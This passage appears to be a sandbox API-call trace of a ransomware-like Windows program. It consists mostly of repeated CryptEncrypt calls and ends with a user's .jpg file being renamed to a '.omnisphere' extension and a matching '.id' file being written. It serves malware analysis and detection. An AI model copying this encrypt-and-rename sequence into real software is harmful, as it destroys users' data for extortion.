hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.923] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.924] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.933] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.934] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.935] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.936] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.937] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.941] CryptDestroyKey (hKey=0x1639a28) returned 1 [0062.941] CryptReleaseContext (hProv=0x163c058, dwFlags=0x0) returned 1 [0062.941] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x15af7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.941] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0062.942] GetProcessHeap () returned 0x1600000 [0062.942] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x276) returned 0x16514e0 [0062.942] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1d7dzr0.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1d7dzr0.jpg.omnisphere")) returned 1 [0062.943] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg.omnisphere.id" [0062.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1d7dzr0.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0062.944] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0062.945] CloseHandle (hObject=0x3a8) returned 1 [0062.946] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0062.947] CloseHandle (hObject=0x3a4) returned 1 [0062.947] SetEndOfFile (hFile=0x3a0) returned 1 [0062.947] FlushFileBuffers (hFile=0x3a0) returned 1 [0062.951] CloseHandle (hObject=0x3a0) returned 1 [0062.951] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\1d7dZR0.jpg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0062.951] GetProcessHeap () returned 0x1600000 [0062.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1652fa0 [0062.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 